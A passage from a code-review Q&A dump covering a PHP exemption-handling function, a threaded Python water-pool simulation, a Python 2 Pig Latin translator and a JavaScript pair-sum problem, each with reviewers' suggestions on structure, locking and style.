COUNT'],['comms_matrix_id'=&gt;$data['comms_matrix_id'], 'spa'=&gt; ['OR',[['IN',['Pending'],'spa'],['IN',['Pending'],'fpa']]] ]); if((int)$countCMD[0]['count'] &gt; 0){ $this-&gt;error = true; $this-&gt;message = &quot;The comms matrix is being re analysed. Please wait for re analyse to complete.&quot;; return $this; } // secondary check to see if any exemptions exist with same amoutn of flows $dbData = $model-&gt;fetchAllArray(null,['comms_matrix_id'=&gt;$data['comms_matrix_id'],'exemption_status_id'=&gt;['IN',[1]]]); $countDbData = count($dbData); if($countDbData &gt; 0){ for($i=0;$i&lt;$countDbData; $i++){ $exemptionPolicies = new ExemptionPolicies(); $countData = $exemptionPolicies-&gt;fetchAllArray(['COUNT(*) COUNT'],['exemption_id'=&gt;$dbData[$i]['id']]); $vCommsMatrices = new VCommsMatrices($data['comms_matrix_id']); $cmd = new CommsMatrixData(); $countCMD = $cmd-&gt;fetchAllArray(['COUNT(*) COUNT'], [ 'comms_matrix_id'=&gt;$data['comms_matrix_id'], 'spa'=&gt; ['OR',[['IN',['Deny'],'spa'],['IN',['Deny'],'fpa']]] , &quot;trunc(ts_created,'hh24')&quot;=&gt;[ ['&gt;=',&quot;trunc(to_date('&quot;.$vCommsMatrices-&gt;fieldVals['TS_CREATED'].&quot;','dd-Mon-YY HH24:MI:SS') ,'hh24')&quot;], ['&lt;=',&quot;trunc(to_date('&quot;.$vCommsMatrices-&gt;fieldVals['TS_UPDATED'].&quot;','dd-Mon-YY HH24:MI:SS') ,'hh24')&quot;] ] ]); if((int)$countData[0]['count'] == (int)$countCMD[0]['count']){ $this-&gt;error = true; $this-&gt;message = &quot;Exemption for this comms matrix already exists. ({$dbData[$i]['id']})&quot;; return $this; } } } } $data[&quot;description&quot;] = $description; if(isset($data['expiry_date']) &amp;&amp; $data['expiry_date']){ $date = \DateTime::createFromFormat('d-M-y', $data['expiry_date']); $data['expiry_date'] = $date-&gt;format('Y-m-d H:i:s'); } $result = $model-&gt;hydrate ( $data )-&gt;persist (); if(is_string($result)){ $response ['error'] = true; $response ['message'] = $result; $this-&gt;log-&gt;error($response); }else { $exemption_id = $model-&gt;sequence; $response['metadata'] = ['exemption_id' =&gt; $exemption_id]; //add notify users if($on_behalf_of != ''){ $emails = preg_split('/[;, ]\s{0,1}/', $on_behalf_of); foreach ($emails as $email) { $email = trim($email); // check if email is valid in ldap $ldap = new LDAP(); $connect = $ldap-&gt;ldapConnect($CFG-&gt;ldap_host, $CFG-&gt;adsvcuser); $filter = &quot;(mail=$email)&quot;; $read = ldap_search($connect, $CFG-&gt;ldap_basedn, $filter, array( &quot;mail&quot; )) or header('Location: /error.html'); // or exit(&quot;error: unable to search ldap server.&quot;); $entries = ldap_get_entries($connect, $read); if ($entries['count'] === 0) { // @TODO check email is vodafone $response['error'] = true; $response['message'] = &quot;Email not found - {$email}&quot;; } else { $notifyUsers = new NotifyUsers(); $data = [ 'type' =&gt; 'exemption', 'type_id' =&gt; $exemption_id, 'email' =&gt; $email ]; $notifyUsers-&gt;hydrate($data)-&gt;persist(); } } } $response2 = $this-&gt;insertExemptionPolicies($model); // $this-&gt;log-&gt;fatal($response2); if (strtolower($response2['message']) == 'success') { $this-&gt;responseData = [ array_change_key_case($model-&gt;fieldVals, CASE_LOWER) ]; $this-&gt;dbdataCount = 1; // create local market exemption $vSecurityExemptionsNew = new VSecurityExemptionsNew(); $records = $vSecurityExemptionsNew-&gt;fetchAllArray([ 'id', 'src_approval', 'dst_approval' ], [ 'comms_matrix_id' =&gt; $model-&gt;fieldVals['COMMS_MATRIX_ID'] ]); $opco = $model-&gt;getLocalOpco(array_unique(array_column($records, 'src_approval')), array_unique(array_column($records, 'dst_approval'))); // $this-&gt;log-&gt;debug($opco); if (count($opco) == 1) { // add to local market exemptions $exemptionPolicies = new ExemptionPolicies(); $exemptionPolicies-&gt;addToLocalMarketExemptions($model, $opco); } } elseif ($response2['message'] == 'workerjob') { $response['message'] = 'Your request is being processed. You will be notified once it is complete.'; } elseif ($response2['error']) { $response['error'] = true; $response['message'] = $response2['message']; $this-&gt;log-&gt;error($response); } } } } } } if ($response['error'] &amp;&amp; isset($model-&gt;fieldVals['ID']) &amp;&amp; $model-&gt;fieldVals['ID']) { $this-&gt;log-&gt;warn(&quot;deleting exemption: &quot; . $model-&gt;fieldVals['ID']); $this-&gt;log-&gt;warn($response); $db_rw = new DatabaseConnection('rw'); $sql = &quot;select local_market from &quot; . DBUSER . &quot;.v_exemptions_group where id = :id&quot;; $binds = [ ':id' =&gt; [ $model-&gt;fieldVals['ID'], 10, SQLT_INT ] ]; $local_market = $db_rw-&gt;executeToSingleCell($sql, $binds); // delete exemption $sql = &quot;delete from &quot; . DBUSER . &quot;.exemptions where id = :id&quot;; $binds = [ ':id' =&gt; [ $model-&gt;fieldVals['ID'], 10, SQLT_INT ] ]; $db_rw-&gt;execute($sql, $binds); if ($local_market != 'group' &amp;&amp; ! empty(trim($local_market))) { $sql = &quot;delete from &quot; . DBUSER . &quot;.exemptions_$local_market where id = :id&quot;; $this-&gt;log-&gt;info($sql . &quot; : &quot; . $model-&gt;fieldVals['ID']); $db_rw-&gt;execute($sql, $binds); } } foreach ($response as $key =&gt; $value) { $this-&gt;{$key} = $value; unset($response[$key]); } return $this; } </code></pre> <p>My background task which runs some of the above process</p> <pre><code>$memory_start = (memory_get_peak_usage(true)/1024/1024).' MiB'; //$this-&gt;log-&gt;debug('securityExemptionApprove'); $response = []; if(($job['args'] == 3) &amp;&amp; (is_numeric($job['arg1']))) { $exemption_id = (int) $job['arg1']; $ids = (empty($job['arg2'])) ? [] : explode(',',$job['arg2']); $username = $job['arg3']; $exemptionPolicies = new ExemptionPolicies(); $ts_start = strtoupper ( date ( 'd-M-y h.i.s' ) ) . substr ( ( string ) microtime (), 1, 8 ); ini_set('memory_limit', '2048M'); $result = $exemptionPolicies-&gt;updateCommsMatrixAnalysisByPolicy($exemption_id, $ids, $username); $ts_end = strtoupper ( date ( 'd-M-y h.i.s' ) ) . substr ( ( string ) microtime (), 1, 8 ); $response ['metadata'] ['analysis_start'] = $ts_start; $response ['metadata'] ['analysis_end'] = $ts_end; $response ['metadata'] ['analysis_time'] = (strtotime ( $ts_end ) - strtotime ( $ts_start )) . ' seconds'; $response ['metadata'] ['memory'] ['start'] = $memory_start; $response ['metadata'] ['memory'] ['end'] = (memory_get_peak_usage(true)/1024/1024).' MiB'; if($result['error']) { $response['error'] = true; $response['message'] = $result['message']; $this-&gt;log-&gt;error('job #' . $job['id'] . ' failed (securityExemptionApprove)'); $update = [ 'FLAG' =&gt; 'T', 'ATTEMPTS' =&gt; $job['attempts'] + 1, 'TS_UPDATED' =&gt; 'systimestamp', 'OUTPUT' =&gt; \json_encode($response) ]; $condition = [ 'ID' =&gt; $job['id'], ]; $this-&gt;log-&gt;warn(&quot;setting to T in &quot;.__FUNCTION__.&quot; for &quot; . print_r($condition,true)); $workerJobs = new WorkerJobs(); $result = $workerJobs-&gt;updateTable($update, $condition); } else { $update = [ 'FLAG' =&gt; 'C', 'TS_UPDATED' =&gt; 'systimestamp', 'OUTPUT' =&gt; \json_encode($response) ]; $condition = [ 'ID' =&gt; $job['id'], ]; $workerJobs = new WorkerJobs(); $result = $workerJobs-&gt;updateTable($update, $condition); } } </code></pre> <p>I can reveal more code of any required function if needed.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T21:28:17.437", "Id": "452736", "Score": "0", "body": "I'd recommend editing your post to make the title tell reviewers about the purpose of the code, rather than what concerns you have with it. Everyone wants cleaner code here! =)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T12:45:13.180", "Id": "508203", "Score": "0", "body": "Changing code in the question violates the question-and-answer nature of this site, because what's quoted in answers can no longer be found. You could post improved code as a new question, as an answer, or as a link to an external site - as described in [I improved my code based on the reviews. What next?](/help/someone-answers#help-post-body). I have rolled back the edit, so the answers make sense again." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T18:27:30.230", "Id": "508354", "Score": "0", "body": "@TobySpeight I need to anonymise the code or delete this question" } ]
[ { "body": "<p>Instead of putting comments above smaller blocks of code, convert those smaller blocks to private methods (we will change this later, for now keep them private methods of the same class to allow focus on other things). </p>\n\n<p>But I would suggest you first familiarize yourself with IoC and DI as it will help you write much better code. And SOLID principles could also do you good.</p>\n\n<p>Then anyway, to identify good blocks to replace by methods, you can: </p>\n\n<p>1) look if some blocks look same or similar to some other blocks, like this:</p>\n\n<pre><code>if (isset($params['comms_matrix_id'])) {\n $params['comms_matrix_id_exemptions'] = $params['comms_matrix_id'];\n unset($params['comms_matrix_id']);\n}\n</code></pre>\n\n<p>or here:</p>\n\n<pre><code>$sql = \"SELECT id FROM \".DBUSER.\".service_domains WHERE TRIM(name) = :name\";\n$binds = [':name' =&gt; [$service_domain,50,SQLT_CHR]];\n$service_domain_id = $db-&gt;executeToSingleCell($sql,$binds);\n</code></pre>\n\n<p>Another thing to look for is a piece of code starting where a new variable is introduced and ending where that variable is no longer used.\nMaybe like here:</p>\n\n<pre><code>$sysprivusers = new SysPrivUsers();\n\n if ($sysprivusers-&gt;isSystemUser($user-&gt;getUsername())) {\n $isMemberOrUploaded = $user-&gt;isMemberOrUploaded((int) $comms_matrix_id);\n if ($isMemberOrUploaded['uploaded_by'] === null &amp;&amp; $isMemberOrUploaded['member_of'] === null) {\n $response['error'] = true;\n $response['message'] = 'You are not authorised';\n $this-&gt;log-&gt;error($isMemberOrUploaded);\n $this-&gt;log-&gt;error($user-&gt;getUsername());\n foreach ($response as $key =&gt; $value) {\n $this-&gt;{$key} = $value;\n unset($response[$key]);\n }\n\n return $this;\n }\n }\n</code></pre>\n\n<p>Bodies of for/foreach/while are also good candidates for separate functions.</p>\n\n<p>When you have split the method into multiple ones. It is now time to separate them by domain. You use a lot of in-place instantiation of service classes. Put them into the class's properties and instantiate them in constructor. When you do this it will help you identify methods that are related or have the same dependency. Although this is not necesary to be able to separate them by domain, it might help a little and it is a good idea nevertheless.</p>\n\n<p>When you are clear about which functions are related to which other functions, they will form clusters. Each of those clusters can be moved to a separate class and then have the main class depend on those instead. If some of those clusters have too much dependencies (lets say 4 or more) it may be sign that their methods could be split better and you basicaly repeat the process, until pretty much every class has one and only responsibility (or one could say one purpose, one reason to change). Good sign of that is that number of private/protected methods is going down, while number of classes and public methods is going up (but number of methods per class is also going down). And btw if you start having classes that are mutualy dependent you are probably doing something wrong.</p>\n\n<p>During the process, you may find some optimizations for some of the smaller blocks. You may figure that something can be done in a different way. Or get confident enough to put some methods to their own class right away.</p>\n\n<p>Try to avoid reusing of variables. Use good names for variables and classes and methods, so in the end you can read the code just as easy as you read a book.</p>\n\n<p>And that would be about it. There's definitely more you could do but I'm not sure you are ready for that just now... Take it one step at a time...</p>\n\n<p>EDIT:\nAs pointed out by Iiridayn, it is definitely not necesary to reach the final state as I described it. What I described is kind of utopia, a state of perfection... Something you should try to reach but never completely will. Anything between the current state and the state of perfection is going to be better then the current state. At some point you might want to stop and consider the changes made so far enough for the time being.\nI would object though that the final state would yield a ton of classes, I'd say more like a dozen or two at most :)</p>\n\n<p>Another thought related to this is that when you are looking for reusable blocks to move to separate functions, you might also want to consider other parts of your code that you didnt show us in your question. Like other controllers. Chances are high that there are some pieces that are the same across multiple controllers (or generaly across multiple objects of the same type/pattern). These pieces are good candidates for methods that should be separated from your main class, whereas methods that have no similarities with any other pieces of your application might be those that you may want to keep in the main class for now...</p>\n\n<p>And yet one more note:\nThe process I described cannot be seemed as an algorithm you can follow without thinking and reach the desired goal. It will need a lot of thinking about what you are doing and deciding when to apply some of the rules I mentioned and when not. It might need a lot of creativity and invention. You will find your own rules to apply. The only rule of thumb is, that no rule can be followed in all cases.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T05:24:26.847", "Id": "452759", "Score": "0", "body": "I agree that the functional decomposition is an excellent idea. I'm leery of creating a ton of classes though. Functional decomposition + grouping might be enough for now. Should there be enough related functionality, dumping it into a module (a class is one kind of module) at that point (enough to justify a file, about 400 lines of closely related code or so) might be worth it. Too much decomposition can become premature optimization - not of runtime, but of structure." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T06:38:26.660", "Id": "452763", "Score": "0", "body": "@Iiridayn You are absolutely correct. I have incorporated your point into my answer. Thank you for mentioning it." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T21:15:22.850", "Id": "231977", "ParentId": "231972", "Score": "8" } } ]
{ "AcceptedAnswerId": "231977", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T18:36:47.103", "Id": "231972", "Score": "5", "Tags": [ "php" ], "Title": "a very big add function which can also create background task for long running processes" }
231972
<p>I was tasked with solving this particular problem:</p> <blockquote> <p>A water pool which can hold a total of 800 liters of water has 3 pipes. 2 of them pour water in, the third one pours water out. 1st pipe pours 100 liters in, 2nd pipe pours 80 liters in and the third one pours 110 liters out. The pool must keep its volume between 600 and 800 liters. When the volume is greater than 700 liters, no water should be poured in, when the volume is less than 600, no water should be poured out.</p> </blockquote> <p>This is the code I came up with: </p> <pre><code>import threading import logging import time import concurrent.futures class Pipe: waterVolume = 0 def __init__(self, type): self.typeOfPipe = type self._lock = threading.Lock() def behaviour(self, type): while True: if type == 0: if Pipe.waterVolume &lt; 700: with self._lock: local_copy = Pipe.waterVolume local_copy += 100 Pipe.waterVolume = local_copy print('Pipe %d added 100 liters' % (self.typeOfPipe + 1)) print('volume is: %d' % Pipe.waterVolume) if type == 1: if Pipe.waterVolume &lt; 700: with self._lock: local_copy = Pipe.waterVolume local_copy += 80 Pipe.waterVolume = local_copy print('Pipe %d added 80 liters' % (self.typeOfPipe + 1)) print('volume is: %d' % Pipe.waterVolume) if type == 2: if Pipe.waterVolume &gt; 600: with self._lock: local_copy = Pipe.waterVolume local_copy -= 110 Pipe.waterVolume = local_copy print('Pipe %d removed 110 liters' % (self.typeOfPipe + 1)) print('volume is: %d' % Pipe.waterVolume) time.sleep(1.5) if __name__ == '__main__': with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor: for i in range(3): p = Pipe(i) executor.submit(p.behaviour, i) </code></pre> <p>From what I've seen when satisfies the condition <code>600 &lt; waterVolume &lt; 800</code> for the first time, it stays there. That combined with the fact that there's no deadlocks or race conditions makes me think that this is a correct solution to the problem. Nevertheless, suggestions about improving the script are very welcome. </p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T20:04:33.713", "Id": "452732", "Score": "0", "body": "Sounds like a job for a https://en.wikipedia.org/wiki/PID_controller." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T07:00:03.883", "Id": "452764", "Score": "0", "body": "looks like all your pipes are using different locks, meaning the water operations are not atomic. The lock should be common to everyone changing the water level (and encapsulated in a method that ensures no-one can just change it without taking a lock)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:09:27.650", "Id": "452788", "Score": "0", "body": "@njzk2 so if I understand you correctly if I change the lock to be static for the Pipe class, then the threads will be synchronized?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:28:19.697", "Id": "452791", "Score": "0", "body": "@PapaGrisha That is what I proposed in my answer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:41:15.090", "Id": "452796", "Score": "0", "body": "@AlexV Yup, I just wanted to clear that up. Also, wouldn't Rlock be a better choice, at least according to this answer: https://stackoverflow.com/a/16568426" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T12:46:28.860", "Id": "452800", "Score": "1", "body": "@PapaGrisha I'm not entirely sure what part of the answer lead to this conclusion. IMHO using an `RLock` here does not really bring an advantage. Maybe the concept of \"ownership\" by a thread that would stop other threads from releasing the lock can be appealing. Since you use the lock with a context manager (`with`), I cannot think of a situation where that could happen." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T04:08:10.837", "Id": "452894", "Score": "0", "body": "Any reason to favour `concurrent.futures` over something like `multiprocessing`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T11:20:29.393", "Id": "452919", "Score": "0", "body": "@AlexanderCécile `concurrent.futures` just looks simpler" } ]
[ { "body": "<h1>Naming</h1>\n\n<p><a href=\"https://docs.python.org/3/library/functions.html#type\" rel=\"nofollow noreferrer\"><code>type</code> is a built-in function</a> in Python and therefore a name to avoid. Also, the widely followed Style Guide for Python Code aka <a href=\"https://www.python.org/dev/peps/pep-0008/#function-and-variable-names\" rel=\"nofollow noreferrer\">PEP 8 recommends</a> to use <code>lower_case_with_underscores</code> for variable names. <code>CamelCase</code> or more specifically <code>TitleCase</code> is usually \"reserved\" for class names.</p>\n\n<h1>Duplicate code</h1>\n\n<p>The <code>behaviour</code> function has an enormous amount of duplicated code. The code code for each of the if branches is basically the same, the only variable parts are the thresholds on which those branches are triggered and the amount of water that is either drained or added. Also the <code>type</code> parameter of <code>behavior</code> is redundant, since <code>self</code> already knows its type. Another thing that might need a closer look is the way you use the look. My threading is a bit rusty, but if I understood your code correctly, there is a separate lock for each instance of <code>Pipe</code>. As a consequence, there is no real synchronization between the threads and the happily check and modify <code>Pipe.waterVolume</code> as they go. But maybe I'm wrong here. Under the assumption that I'm right, let's look at a refactored version of your code:</p>\n\n<pre><code>class Pipe:\n water_volume = 0\n _lock = threading.Lock()\n\n def __init__(self, type_, flow, activation_condition):\n self.pipe_type = type_\n self._flow = flow\n self._activation_condition = activation_condition\n\n @classmethod\n def pipe1(cls):\n \"\"\"A pipe of type 1 adding 100l when the volume is below 700\"\"\"\n return Pipe(1, 100, lambda volume: volume &lt; 700)\n\n @classmethod\n def pipe2(cls):\n \"\"\"A pipe of type 2 adding 80l when the volume is below 700\"\"\"\n return Pipe(2, 80, lambda volume: volume &lt; 700)\n\n @classmethod\n def pipe3(cls):\n \"\"\"A pipe of type 3 draining 110l when the volume is above 600\"\"\"\n return Pipe(3, -110, lambda volume: volume &gt; 600)\n\n def behaviour(self):\n while True:\n with Pipe._lock:\n if self._activation_condition(Pipe.water_volume):\n Pipe.water_volume += self._flow\n action = \"added\" if self._flow &gt; 0 else \"drained\"\n print(f\"Pipe {self.pipe_type+1} {action} {abs(self._flow)} liters\")\n print(f\"Volume is: {Pipe.water_volume}\")\n time.sleep(1.5)\n</code></pre>\n\n<p>A lot has changed here, so lets go through step-by-step.</p>\n\n<ol>\n<li>I changed the naming to follow the PEP8 recommendation linked above.</li>\n<li>The lock is now shared between all instances of the class (and their associated threads) the same way the water volume is.</li>\n<li>The code duplication is gone. \n\n<ul>\n<li>To reach that goal, the <code>Pipe</code> class was made more general in that it now accepts a flow rate (positive or negative) and a condition under which this pipe is active. To have to same \"preconfigured\" pipes as before, I added three <code>classmethod</code>s which act as a simple <a href=\"https://realpython.com/instance-class-and-static-methods-demystified/#delicious-pizza-factories-with-classmethod\" rel=\"nofollow noreferrer\">factory</a>. Each factory method also got a short description what to expect from the returned pipe.</li>\n<li><code>behaviour</code> (in lack of a better idea for a name) is now quite a bit shorter since it's basically the same code for all instances which add live to add via their properties. The lock is now also acquired before checking on the current volume. From a coding standpoint that absolutely makes sense, it's however up for discussion if a real system could/would be setup with this level of synchronization. The console output is now also generically built from what is known about the pipe object currently in action. I used f-strings (available from Python 3.6+) to format the output contrary to the \"old-style\" <code>%</code> formatting. Maybe have a look at <a href=\"https://realpython.com/python-string-formatting/\" rel=\"nofollow noreferrer\">this blog post</a> to learn more about the different kinds of string formatting available to Python programmers.</li>\n</ul></li>\n</ol>\n\n<h1>Make it stop</h1>\n\n<p>I don't know if you have ever heard of the poem <a href=\"https://www.babelmatrix.org/works/de/Goethe%2C_Johann_Wolfgang_von/Der_Zauberlehrling/en/5462-The_Sorcerer_s_Apprentice\" rel=\"nofollow noreferrer\">\"Der Zauberlehrling\" (The Sorcerer's Apprentice)</a> by the German writer Johann Wolfgang von Goethe. In the poem, a young sorcerer summons a broom to help him carry water in order to clean his masters house. When he is done with the task, he tries to stop the broom from carrying more and more water into the house but fails to do so. From there on the events quickly spiral out of control until his master returns and finally takes control over the broom again.</p>\n\n<p>Sounds vaguely familiar? Well, that's because once one has started your program, not even Ctrl+C will stop it (at least under Windows). <a href=\"https://stackoverflow.com/a/29237343/5682996\">This answer</a> on SO could be used as a starting point to make that work.</p>\n\n<hr>\n\n<p>A few closing words on threading in Python, especially in the most widely used reference implementation CPython. CPython has something called the <a href=\"https://wiki.python.org/moin/GlobalInterpreterLock\" rel=\"nofollow noreferrer\">global interpreter lock</a> or GIL for short. The GIL takes care that <em>at any time there is only a single thread executing Python code</em>. That has significant impact on what you can expect to see when changing your pure Python code to multi-threading. Positive gains are mainly found when you have blocking IO operations or something like calls to a web API where the underlying code actively releases the GIL in order to allow other threads to do their work. Apart from that, the Python interpreter will also stop threads from time to time in order to allow over threads to run. When this happens depends on which Python version you are using (Python 2 vs. Python 3).</p>\n\n<p>Since this is a topic that can quite involved, let me give you another <a href=\"https://realpython.com/python-gil/\" rel=\"nofollow noreferrer\">link to a blog post on <em>realpython</em></a> and to a <a href=\"https://stackoverflow.com/q/1294382/5682996\">question/answer on Stack Overflow</a> to read more about that topic.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T08:20:26.990", "Id": "452768", "Score": "3", "body": "You're confusing `camelCase` with `TitleCase` (aka `PascalCase`). PEP-8 does not recommend any camels, but it does recommend titles for classes. And your camel uses titlecase convention." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T22:20:25.487", "Id": "231983", "ParentId": "231973", "Score": "7" } } ]
{ "AcceptedAnswerId": "231983", "CommentCount": "8", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T19:03:32.757", "Id": "231973", "Score": "7", "Tags": [ "python", "multithreading" ], "Title": "Simulate a pool using multithreading in Python" }
231973
<p>I have a code for a short <em>Python 2</em> Pig Latin translator. Is it a good code, or should it be revised?</p> <pre><code>pyg = 'ay' original = raw_input('Enter a word:') # allows user input ^ if len(original) &gt; 0 and original.isalpha(): word = original.lower() first = word[0] new_word = word + first + pyg new_word = new_word[1:len(new_word)] else: print 'empty' # prints the inputted word. If someone typed 'Hello', it will translate into Pig Latin. print new_word </code></pre> <p>It works, but a shorter code may or may not be a good thing.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T22:02:15.237", "Id": "452741", "Score": "7", "body": "Can you please fix the indentation? I can guess what you're intending, but really code needs to be valid to be ontopic here." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T14:56:51.250", "Id": "452949", "Score": "0", "body": "Welcome to Code Review! Currently your code doesn't perform because of Python's need for code blocks to be indented, please fix the indentation and then we can reopen this question. I assume that indenting will not invalidate the answer already given." } ]
[ { "body": "<p>First, note how you're doing a <code>if len(original) &gt; 0 and original.isalpha():</code> check, then printing <code>\"empty\"</code> if it fails. This means though that <code>\"empty\"</code> will be printed out if you input a non-alphabetical word, which is confusing. I'd either handle those two checks separately, or print out a generic error message instead like <code>\"Invalid Input\"</code>.</p>\n\n<hr>\n\n<p>You have</p>\n\n<pre><code>new_word[1:len(new_word)]\n</code></pre>\n\n<p>To discard the first letter. There's actually a short-cut for this though:</p>\n\n<pre><code>new_word[1:]\n</code></pre>\n\n<p>If you omit the second argument to the slice operator, it defaults to the length of the collection. If you omit the first, it defaults to the beginning of the collection. Combined, that's why <code>my_list[:]</code> makes a shallow copy of <code>my_list</code>.</p>\n\n<hr>\n\n<pre><code>first = word[0]\nnew_word = word + first + pyg\nnew_word = new_word[1:]\n</code></pre>\n\n<p>This chunk breaks off the first letter, does some concatenation, then chops off the first character of the new string. Note though that <code>word</code> will be on the front of <code>new_word</code>, so you can just chop off the first character of <code>word</code> at the same time you do <code>word[0]</code>. </p>\n\n<p>If you were using Python 3, you could simply write:</p>\n\n<pre><code>first, *rest_word = word\nnew_word = ''.join(rest_word) + first + pyg\n</code></pre>\n\n<p>It's just deconstructing the string, except that instead of the second character being stored in <code>rest_word</code>, everything that's left is stored in it. This essentially just separates the \"head\" of the string from the \"tail\".</p>\n\n<p>Unfortunately, I came back a few hours later and realized that my original code that I had posted was wrong. <code>rest_word</code> is a <em>list of strings</em>, not a string itself. This necessitated the <code>''.join(rest_word)</code> bit. This method isn't quite as efficient in this case, but you may find that it's useful if you don't care what exact type the rest <code>*</code> variable is. If you just want to iterate it, it wouldn't matter.</p>\n\n<hr>\n\n<p>You overwrite <code>new_word</code> instead of creating a new variable. I would have created a new one to preserve the old <code>new_word</code>. That can be helpful when debugging.</p>\n\n<hr>\n\n<p>On success, you print out <code>new_word</code> <em>outside</em> of the <code>if</code>. That makes less sense than printing inside of it, <em>and</em> it causes an error to be raised if the <code>if</code> was <code>False</code> since <code>new_word</code> isn't defined.</p>\n\n<hr>\n\n<p>At the top you have <code>pyg</code>. It's a constant though, and according to Python's style guide, constants should be <a href=\"https://www.python.org/dev/peps/pep-0008/#constants\" rel=\"nofollow noreferrer\">uppercase, and separated by underscores</a>. I'd also make it more descriptive:</p>\n\n<pre><code>PIG_LATIN_SUFFIX = 'ay'\n</code></pre>\n\n<hr>\n\n<hr>\n\n<p>You stated that the goal was to be short, so I won't go too into this, but you should make use of functions here. You have a couple discreet things going on here:</p>\n\n<ul>\n<li>Handling input from the user</li>\n<li>Doing the conversion on the input</li>\n</ul>\n\n<p>And you have both of those things mixed up together.</p>\n\n<p>I'd separate things out properly, and do some basic input checking:</p>\n\n<pre><code>PIG_LATIN_SUFFIX = 'ay'\n\n\ndef convert_to_pig_latin(original_word):\n word = original_word.lower()\n first = word[0]\n rest_word = word[1:]\n\n return rest_word + first + PIG_LATIN_SUFFIX\n\n\ndef ask_for_input():\n while True:\n word = raw_input('Enter a word:')\n\n if len(word) &gt; 0 and word.isalpha():\n return word\n\n else:\n print(\"Invalid Input. Please try again.\")\n\n\ndef main():\n original_word = ask_for_input()\n pig_word = convert_to_pig_latin(original_word)\n print pig_word\n</code></pre>\n\n<p><code>ask_for_input</code> will ask until it gets valid input now instead of just ending the program.</p>\n\n<hr>\n\n<hr>\n\n<p>Oh ya, and <strong>switch to Python 3</strong>! Python 2 is about to have support for it discontinued.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T18:34:11.943", "Id": "452975", "Score": "0", "body": "Well, im going to try that." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T22:37:13.533", "Id": "231984", "ParentId": "231980", "Score": "3" } } ]
{ "AcceptedAnswerId": "231984", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T21:40:09.923", "Id": "231980", "Score": "0", "Tags": [ "python", "python-2.x" ], "Title": "Pyg Latin Translator" }
231980
<p>I was doing Optimal Utilization code from leetcode </p> <p>Question Link: <a href="https://leetcode.com/discuss/interview-question/373202" rel="nofollow noreferrer">https://leetcode.com/discuss/interview-question/373202</a></p> <p><strong>Question:</strong> Given 2 lists a and b. Each element is a pair of integers where the first integer represents the unique id and the second integer represents a value. Your task is to find an element from a and an element form b such that the sum of their values is less or equal to target and as close to target as possible. Return a list of ids of selected elements. If no pair is possible, return an empty list.</p> <p>For this I wrote the following algorithm </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>let a, b, target const currentHighest = (array1, array2, target) =&gt; { const hashMapA = {} const hashMapB = {} const arr1 = array1.sort((a, b) =&gt; { hashMapA[[a[1]]] = a[0] hashMapA[[b[1]]] = b[0] return a[1] - b[1] }) const arr2 = array2.sort((a, b) =&gt; { hashMapB[[a[1]]] = a[0] hashMapB[[b[1]]] = b[0] return a[1] - b[1] }) const id = {} const currentHighest = { difference: Infinity, indexes: [] } let i = 0 const arr2mid = parseInt(arr2.length / 2) while (i &lt; arr1.length) { const a1 = arr1[i] const difference = target - a1[1] if (hashMapB.hasOwnProperty(difference)) { if (!id.hasOwnProperty(a1[0])) { if (currentHighest.difference !== 0) currentHighest.indexes = [] id[[a1[0]]] = true currentHighest.difference = 0 currentHighest.indexes.push([a1[0], hashMapB[difference]]) } } else { let j = 0; let itteratorEndpoint = arr2.length if (difference &gt; arr2[arr2mid][1]) j = arr2mid while (j &lt; itteratorEndpoint &amp;&amp; difference &gt; arr2[j][1]) { const a2 = arr2[j] const difference2 = target - a2[1] if (hashMapA.hasOwnProperty(hashMapA[difference2])) { if (!id.hasOwnProperty(a2[0])) { if (currentHighest.difference !== 0) currentHighest.indexes = [] id[[hashMapA[difference2]]] = true currentHighest.difference = 0 currentHighest.indexes.push([hashMapA[difference2], a2[0]]) } } const actualDifference = target - (a1[1] + a2[1]) if (actualDifference &gt; -1) { if (currentHighest.difference === actualDifference) currentHighest.indexes.push([a1[0], a2[0]]) if (currentHighest.difference &gt; actualDifference &amp;&amp; currentHighest.difference !== 0) { currentHighest.difference = actualDifference currentHighest.indexes = [ [a1[0], a2[0]] ] } } j++ } } i++ } return currentHighest.indexes } a = [ [1, 8], [2, 15], [3, 9] ] b = [ [1, 8], [2, 11], [3, 12] ] target = 20 console.log(currentHighest(a, b, target))</code></pre> </div> </div> </p> <p><strong>My approach</strong> </p> <ol> <li><p>Sort both the arrays and while sorting create an hashMap for A and B </p></li> <li><p>id objects make sure if the specific id is not already been iterated over </p></li> <li><p>current Index is used to track differences and indexes of those difference.</p></li> 